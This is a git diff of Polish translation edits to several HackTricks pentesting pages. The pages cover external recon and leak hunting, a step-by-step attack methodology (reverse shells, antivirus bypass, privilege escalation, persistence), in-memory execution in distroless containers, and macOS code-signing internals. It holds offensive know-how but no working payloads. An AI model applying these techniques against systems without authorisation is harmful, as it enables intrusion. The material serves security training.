||||
Sprawdź możliwe [**przejęcia subdomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Jeśli **subdomena** wskazuje na jakiś **bucket S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Jeśli **subdomena** wskazuje na jakiś **S3 bucket**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
|
||||
_Uwaga, czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
|
||||
Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie podatności** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
|
||||
_Uwaga, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
|
||||
|
||||
## IPs
|
||||
|
||||
|
@ -492,24 +492,24 @@ Korzystając z usług następujących **darmowych API**, możesz również znale
|
|||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
Możesz również sprawdzić, które domeny wskazują na konkretny adres IP, używając narzędzia [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Możesz również sprawdzić domeny wskazujące na konkretny adres IP, używając narzędzia [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Szukając luk w zabezpieczeniach**
|
||||
### **Looking for vulnerabilities**
|
||||
|
||||
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć luki w zabezpieczeniach**.
|
||||
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć podatności**.
|
||||
|
||||
**Znajdź** [**przewodnik**](../pentesting-network/) **na temat skanowania hostów.**
|
||||
|
||||
## Polowanie na serwery WWW
|
||||
## Web servers hunting
|
||||
|
||||
> Znaleźliśmy wszystkie firmy i ich zasoby oraz znamy zakresy IP, domeny i subdomeny w zakresie. Czas na poszukiwanie serwerów WWW.
|
||||
> Znaleźliśmy wszystkie firmy i ich zasoby oraz znamy zakresy IP, domeny i subdomeny w zakresie. Czas na poszukiwanie serwerów webowych.
|
||||
|
||||
W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon IP i odkrytych domen**, więc mogłeś **już znaleźć wszystkie możliwe serwery WWW**. Jednak jeśli tego nie zrobiłeś, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów WWW** w zakresie.
|
||||
W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon IP i odkrytych domen**, więc mogłeś **już znaleźć wszystkie możliwe serwery webowe**. Jednak jeśli tego nie zrobiłeś, teraz zobaczymy kilka **szybkich sztuczek do wyszukiwania serwerów webowych** w zakresie.
|
||||
|
||||
Proszę zauważyć, że to będzie **ukierunkowane na odkrywanie aplikacji webowych**, więc powinieneś **przeprowadzić skanowanie luk** i **skanowanie portów** również (**jeśli dozwolone** przez zakres).
|
||||
Proszę zauważyć, że to będzie **ukierunkowane na odkrywanie aplikacji webowych**, więc powinieneś **przeprowadzić skanowanie podatności** i **skanowanie portów** również (**jeśli dozwolone** przez zakres).
|
||||
|
||||
**Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** WWW za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/#http-port-discovery).\
|
||||
Innym przyjaznym narzędziem do wyszukiwania serwerów WWW jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) oraz [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy, że przekażesz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
|
||||
**Szybka metoda** na odkrycie **otwartych portów** związanych z **serwerami** webowymi za pomocą [**masscan** można znaleźć tutaj](../pentesting-network/#http-port-discovery).\
|
||||
Innym przyjaznym narzędziem do wyszukiwania serwerów webowych jest [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Wystarczy, że przekażesz listę domen, a narzędzie spróbuje połączyć się z portem 80 (http) i 443 (https). Dodatkowo możesz wskazać, aby spróbować innych portów:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
|
@ -570,12 +570,12 @@ Jeśli znajdziesz **ważne wyciekłe** dane uwierzytelniające, to bardzo łatwe
|
|||
|
||||
Wyciek danych uwierzytelniających jest związany z hackami firm, w których **wrażliwe informacje zostały wycieknięte i sprzedane**. Jednak firmy mogą być dotknięte **innymi wyciekami**, których informacje nie znajdują się w tych bazach danych:
|
||||
|
||||
### Wyciek z GitHub
|
||||
### Wyciek GitHub
|
||||
|
||||
Dane uwierzytelniające i API mogą być wycieknięte w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na GitHubie.\
|
||||
Dane uwierzytelniające i API mogą być wyciekane w **publicznych repozytoriach** **firmy** lub **użytkowników** pracujących dla tej firmy na GitHubie.\
|
||||
Możesz użyć **narzędzia** [**Leakos**](https://github.com/carlospolop/Leakos), aby **pobrać** wszystkie **publiczne repozytoria** **organizacji** i jej **deweloperów** oraz automatycznie uruchomić [**gitleaks**](https://github.com/zricethezav/gitleaks) na nich.
|
||||
|
||||
**Leakos** może być również używane do uruchamiania **gitleaks** przeciwko wszystkim **tekstom** dostarczonym **URL-om przekazanym** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
|
||||
**Leakos** można również użyć do uruchomienia **gitleaks** przeciwko całemu **tekstowi** dostarczonemu **URL-om przekazanym** do niego, ponieważ czasami **strony internetowe również zawierają sekrety**.
|
||||
|
||||
#### Dorki GitHub
|
||||
|
||||
|
@ -592,9 +592,9 @@ Możesz użyć narzędzia [**Pastos**](https://github.com/carlospolop/Pastos), a
|
|||
|
||||
### Dorki Google
|
||||
|
||||
Stare, ale złote dorki Google są zawsze przydatne do znajdowania **ujawnionych informacji, które nie powinny tam być**. Jedynym problemem jest to, że [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie możesz uruchomić ręcznie. Możesz więc wybrać swoje ulubione 10 lub możesz użyć **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks), **aby uruchomić je wszystkie**.
|
||||
Stare, ale złote dorki Google zawsze są przydatne do znajdowania **ujawnionych informacji, które nie powinny tam być**. Jedynym problemem jest to, że [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) zawiera kilka **tysięcy** możliwych zapytań, których nie możesz uruchomić ręcznie. Możesz więc wybrać swoje ulubione 10 lub możesz użyć **narzędzia takiego jak** [**Gorks**](https://github.com/carlospolop/Gorks) **do ich uruchomienia**.
|
||||
|
||||
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie skończą, ponieważ Google zablokuje cię bardzo, bardzo szybko._
|
||||
_Uwaga, że narzędzia, które oczekują uruchomienia całej bazy danych za pomocą standardowej przeglądarki Google, nigdy się nie zakończą, ponieważ Google zablokuje cię bardzo szybko._
|
||||
|
||||
### **Szukając luk**
|
||||
|
||||
|
@ -618,7 +618,7 @@ Istnieją również darmowe usługi, które pozwalają na **skanowanie publiczny
|
|||
|
||||
**Większość luk** znalezionych przez łowców błędów znajduje się w **aplikacjach internetowych**, więc w tym momencie chciałbym porozmawiać o **metodologii testowania aplikacji internetowych**, a możesz [**znaleźć te informacje tutaj**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą ci bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać pewne początkowe informacje o sieci.**
|
||||
Chcę również szczególnie wspomnieć o sekcji [**Narzędzia do automatycznego skanowania aplikacji webowych open source**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ponieważ, jeśli nie powinieneś oczekiwać, że znajdą bardzo wrażliwe luki, są przydatne do wdrażania ich w **workflow, aby uzyskać początkowe informacje o sieci.**
|
||||
|
||||
## Rekapitulacja
|
||||
|
||||
|
@ -636,7 +636,7 @@ Więc już:
|
|||
8. **E-maile**, **wycieki danych uwierzytelniających** i **wycieki sekretów**, które mogą dać ci **duże zwycięstwo bardzo łatwo**.
|
||||
9. **Pentesting wszystkich stron, które znalazłeś**
|
||||
|
||||
## **Pełne narzędzia automatycznego rekonesansu**
|
||||
## **Pełne narzędzia automatyczne do rekonesansu**
|
||||
|
||||
Istnieje kilka narzędzi, które wykonają część zaproponowanych działań przeciwko danemu zakresowi.
|
||||
|
||||
|
@ -649,7 +649,7 @@ Istnieje kilka narzędzi, które wykonają część zaproponowanych działań pr
|
|||
|
||||
* Wszystkie darmowe kursy [**@Jhaddix**](https://twitter.com/Jhaddix) takie jak [**Metodologia Łowcy Błędów v4.0 - Wydanie Rekonesansu**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i hackowaniem tego, co nie do zhackowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -664,7 +664,7 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,9 +15,9 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i hackowaniem tego, co nie do hackowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ _Loga Hacktricks zaprojektowane przez_ [_@ppiernacho_](https://www.instagram.com
|
|||
|
||||
### 0- Ataki fizyczne
|
||||
|
||||
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) i innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
Czy masz **fizyczny dostęp** do maszyny, którą chcesz zaatakować? Powinieneś przeczytać kilka [**sztuczek dotyczących ataków fizycznych**](../hardware-physical-access/physical-attacks.md) oraz innych dotyczących [**ucieczki z aplikacji GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Odkrywanie hostów w sieci](pentesting-network/#discovering-hosts)/ [Odkrywanie zasobów firmy](external-recon-methodology/)
|
||||
|
||||
|
@ -48,7 +48,7 @@ Zanim zaatakujesz hosta, może wolisz **ukraść jakieś dane logowania** **z si
|
|||
|
||||
Pierwszą rzeczą do zrobienia, gdy **szukasz luk w hoście**, jest poznanie, które **usługi działają** na jakich portach. Zobaczmy [**podstawowe narzędzia do skanowania portów hostów**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [**Szukając exploitów wersji usług**](search-exploits.md)
|
||||
### **4-** [**Wyszukiwanie exploitów wersji usług**](search-exploits.md)
|
||||
|
||||
Gdy już wiesz, które usługi działają, a może ich wersje, musisz **szukać znanych luk**. Może masz szczęście i istnieje exploit, który da ci powłokę...
|
||||
|
||||
|
@ -58,7 +58,7 @@ Jeśli nie ma żadnego fajnego exploita dla żadnej działającej usługi, powin
|
|||
|
||||
**W tej książce znajdziesz przewodnik po pentestingu najczęstszych usług** (i innych, które nie są tak powszechne)**. Proszę, przeszukaj lewy indeks w sekcji** _**PENTESTING**_ **(usługi są uporządkowane według ich domyślnych portów).**
|
||||
|
||||
**Chcę szczególnie wspomnieć o części** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest najbardziej rozbudowana).**\
|
||||
**Chcę szczególnie wspomnieć o** [**Pentestingu Web**](../network-services-pentesting/pentesting-web/) **(ponieważ jest to najbardziej rozbudowana część).**\
|
||||
Również mały przewodnik na temat [**znajdowania znanych luk w oprogramowaniu**](search-exploits.md) można znaleźć tutaj.
|
||||
|
||||
**Jeśli twoja usługa nie znajduje się w indeksie, poszukaj w Google** innych samouczków i **daj mi znać, jeśli chcesz, żebym to dodał.** Jeśli **nie możesz nic znaleźć** w Google, przeprowadź **własny ślepy pentesting**, możesz zacząć od **połączenia się z usługą, fuzzowania jej i czytania odpowiedzi** (jeśli jakieś są).
|
||||
|
@ -77,7 +77,7 @@ Jeśli w tym momencie nie znalazłeś żadnej interesującej luki, **możesz pot
|
|||
|
||||
### **7-** [**Uzyskiwanie powłoki**](reverse-shells/)
|
||||
|
||||
W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Następnie [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki zwrotnej, byłaby bardzo przydatna](reverse-shells/).
|
||||
W jakiś sposób powinieneś znaleźć **jakąś metodę wykonania kodu** na ofierze. Wtedy [lista możliwych narzędzi w systemie, które możesz użyć do uzyskania powłoki zwrotnej, byłaby bardzo przydatna](reverse-shells/).
|
||||
|
||||
Szczególnie w systemie Windows możesz potrzebować pomocy, aby **unikać programów antywirusowych**: [**Sprawdź tę stronę**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
|
@ -97,7 +97,7 @@ Prawdopodobnie będziesz musiał **wyciągnąć jakieś dane z ofiary** lub nawe
|
|||
|
||||
#### **10.1- Lokalne Privesc**
|
||||
|
||||
Jeśli nie jesteś **rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
|
||||
Jeśli **nie jesteś rootem/Administratorem** w systemie, powinieneś znaleźć sposób na **eskalację uprawnień.**\
|
||||
Tutaj znajdziesz **przewodnik po eskalacji uprawnień lokalnie w** [**Linuxie**](../linux-hardening/privilege-escalation/) **i w** [**Windowsie**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Windows**:
|
||||
|
||||
|
@ -106,7 +106,7 @@ Powinieneś również sprawdzić te strony dotyczące tego, jak działa **Window
|
|||
* Jak [**ukraść dane logowania**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) w Windowsie
|
||||
* Kilka sztuczek dotyczących [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Nie zapomnij sprawdzić najlepszych narzędzi do enumeracji lokalnych ścieżek eskalacji uprawnień w Windowsie i Linuxie:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Nie zapomnij sprawdzić najlepszych narzędzi do enumeracji lokalnych ścieżek eskalacji uprawnień w Windows i Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Domain Privesc**
|
||||
|
||||
|
@ -124,7 +124,7 @@ Znajdź tutaj różne sposoby [**zrzucania haseł w Windowsie**](https://github.
|
|||
**Użyj 2 lub 3 różnych typów mechanizmów utrzymywania, aby nie musieć ponownie eksploatować systemu.**\
|
||||
**Tutaj znajdziesz kilka** [**sztuczek dotyczących utrzymywania w Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Uzupełnij post o utrzymywaniu w Windowsie i Linuxie
|
||||
TODO: Uzupełnij post o utrzymywaniu w Windows i Linux
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
|
@ -139,8 +139,8 @@ Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być
|
|||
|
||||
#### **Eksploatacja**
|
||||
|
||||
* [**Podstawowa eksploatacja Linuxa**](broken-reference/)
|
||||
* [**Podstawowa eksploatacja Windowsa**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Podstawowa eksploatacja w Linuxie**](broken-reference/)
|
||||
* [**Podstawowa eksploatacja w Windowsie**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Podstawowe narzędzia eksploatacji**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
|
||||
#### [**Podstawowy Python**](python/)
|
||||
|
@ -151,9 +151,9 @@ Sprawdź również stronę o [**NTLM**](../windows-hardening/ntlm/), może być
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i hackowaniem tego, co nie do hackowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -94,7 +94,7 @@ For more information about this technique check the Github or:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) to naturalny następny krok DDexec. To **DDexec shellcode demonizowane**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) to naturalny następny krok DDexec. To **demonizowany shellcode DDexec**, więc za każdym razem, gdy chcesz **uruchomić inny plik binarny**, nie musisz ponownie uruchamiać DDexec, możesz po prostu uruchomić shellcode memexec za pomocą techniki DDexec, a następnie **komunikować się z tym demonem, aby przekazać nowe pliki binarne do załadowania i uruchomienia**.
|
||||
|
||||
Możesz znaleźć przykład, jak użyć **memexec do wykonywania plików binarnych z odwróconego powłoki PHP** w [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -112,10 +112,10 @@ Celem kontenerów distroless jest **zmniejszenie powierzchni ataku kontenerów p
|
|||
|
||||
### Odwrócona powłoka
|
||||
|
||||
W kontenerze distroless możesz **nawet nie znaleźć `sh` ani `bash`**, aby uzyskać zwykłą powłokę. Nie znajdziesz również plików binarnych, takich jak `ls`, `whoami`, `id`... wszystko, co zwykle uruchamiasz w systemie.
|
||||
W kontenerze distroless możesz **nawet nie znaleźć `sh` lub `bash`**, aby uzyskać zwykłą powłokę. Nie znajdziesz również plików binarnych takich jak `ls`, `whoami`, `id`... wszystko, co zwykle uruchamiasz w systemie.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Dlatego **nie będziesz** w stanie uzyskać **odwróconej powłoki** ani **enumerować** systemu, jak zwykle.
|
||||
Dlatego **nie będziesz** w stanie uzyskać **odwróconej powłoki** ani **enumerować** systemu, jak zwykle to robisz.
|
||||
{% endhint %}
|
||||
|
||||
Jednak jeśli skompromitowany kontener uruchamia na przykład aplikację flask, to python jest zainstalowany, a zatem możesz uzyskać **odwróconą powłokę Pythona**. Jeśli działa node, możesz uzyskać odwróconą powłokę Node, i to samo z większością **języków skryptowych**.
|
||||
|
@ -132,9 +132,9 @@ Jednak w tego rodzaju kontenerach te zabezpieczenia zazwyczaj istnieją, ale mo
|
|||
|
||||
Możesz znaleźć **przykłady** na to, jak **wykorzystać niektóre podatności RCE**, aby uzyskać odwrócone powłoki języków skryptowych i wykonywać pliki binarne z pamięci w [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_biegła znajomość polskiego w mowie i piśmie wymagana_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -19,7 +19,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
Binaries Mach-o zawierają polecenie ładujące zwane **`LC_CODE_SIGNATURE`**, które wskazuje **offset** i **rozmiar** podpisów wewnątrz binarnego pliku. W rzeczywistości, używając narzędzia GUI MachOView, można znaleźć na końcu binarnego pliku sekcję o nazwie **Code Signature** z tymi informacjami:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Magiczny nagłówek podpisu kodu to **`0xFADE0CC0`**. Następnie znajdują się informacje takie jak długość i liczba blobów superBlob, które je zawierają.\
|
||||
Można znaleźć te informacje w [kodzie źródłowym tutaj](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||
|
@ -116,10 +116,10 @@ __attribute__ ((aligned(1)));
|
|||
```
|
||||
Zauważ, że istnieją różne wersje tej struktury, w których starsze mogą zawierać mniej informacji.
|
||||
|
||||
## Strony podpisu kodu
|
||||
## Signing Code Pages
|
||||
|
||||
Haszowanie pełnego binarnego pliku byłoby nieefektywne, a nawet bezużyteczne, jeśli jest on ładowany w pamięci tylko częściowo. Dlatego podpis kodu jest w rzeczywistości haszem haszy, gdzie każda strona binarna jest haszowana indywidualnie.\
|
||||
W rzeczywistości, w poprzednim kodzie **Katalogu kodu** możesz zobaczyć, że **rozmiar strony jest określony** w jednym z jego pól. Co więcej, jeśli rozmiar binarnego pliku nie jest wielokrotnością rozmiaru strony, pole **CodeLimit** określa, gdzie kończy się podpis.
|
||||
W rzeczywistości, w poprzednim kodzie **Code Directory** możesz zobaczyć, że **rozmiar strony jest określony** w jednym z jego pól. Co więcej, jeśli rozmiar binarnego pliku nie jest wielokrotnością rozmiaru strony, pole **CodeLimit** określa, gdzie kończy się podpis.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
|
@ -157,13 +157,13 @@ openssl sha256 /tmp/*.page.*
|
|||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Zauważ, że aplikacje mogą również zawierać **blob uprawnień**, w którym zdefiniowane są wszystkie uprawnienia. Co więcej, niektóre binaria iOS mogą mieć swoje uprawnienia określone w specjalnym slocie -7 (zamiast w specjalnym slocie -5).
|
||||
Zauważ, że aplikacje mogą również zawierać **blob uprawnień**, w którym zdefiniowane są wszystkie uprawnienia. Co więcej, niektóre binaria iOS mogą mieć swoje uprawnienia określone w specjalnym slocie -7 (zamiast w specjalnym slocie -5 uprawnień).
|
||||
|
||||
## Special Slots
|
||||
|
||||
Aplikacje MacOS nie mają wszystkiego, co potrzebne do wykonania wewnątrz binarnego, ale korzystają również z **zewnętrznych zasobów** (zwykle wewnątrz **bundla** aplikacji). Dlatego w binarnym znajdują się pewne sloty, które będą zawierać hashe niektórych interesujących zewnętrznych zasobów, aby sprawdzić, czy nie zostały zmodyfikowane.
|
||||
|
||||
W rzeczywistości można zobaczyć w strukturach Code Directory parametr zwany **`nSpecialSlots`**, który wskazuje liczbę specjalnych slotów. Nie ma slotu specjalnego 0, a najczęstsze z nich (od -1 do -6) to:
|
||||
W rzeczywistości można zobaczyć w strukturach Katalogu Kodów parametr zwany **`nSpecialSlots`**, który wskazuje liczbę specjalnych slotów. Nie ma slotu specjalnego 0, a najczęstsze z nich (od -1 do -6) to:
|
||||
|
||||
* Hash `info.plist` (lub ten wewnątrz `__TEXT.__info__plist`).
|
||||
* Hash Wymagań
|
||||
|
@ -220,11 +220,11 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
|||
|
||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||
```
|
||||
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) może również dynamicznie dodać flagi `CS_EXEC_*` podczas uruchamiania.
|
||||
Zauważ, że funkcja [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) może również dynamicznie dodawać flagi `CS_EXEC_*` podczas uruchamiania.
|
||||
|
||||
## Wymagania dotyczące podpisu kodu
|
||||
|
||||
Każda aplikacja przechowuje **wymagania**, które musi **spełniać**, aby mogła być uruchomiona. Jeśli **aplikacja zawiera wymagania, które nie są spełnione przez aplikację**, nie zostanie uruchomiona (prawdopodobnie została zmieniona).
|
||||
Każda aplikacja przechowuje **wymagania**, które musi **spełniać**, aby mogła być uruchomiona. Jeśli **wymagania aplikacji nie są spełnione**, nie zostanie ona uruchomiona (prawdopodobnie została zmieniona).
|
||||
|
||||
Wymagania binarne używają **specjalnej gramatyki**, która jest strumieniem **wyrażeń** i są kodowane jako blob za pomocą `0xfade0c00` jako magii, której **hash jest przechowywany w specjalnym slocie kodu**.
|
||||
|
||||
|
@ -274,8 +274,8 @@ Możliwe jest uzyskanie dostępu do tych informacji oraz tworzenie lub modyfikow
|
|||
|
||||
* **`SecRequirementCreateWithData`:** Tworzy `SecRequirementRef` z danych binarnych reprezentujących wymaganie.
|
||||
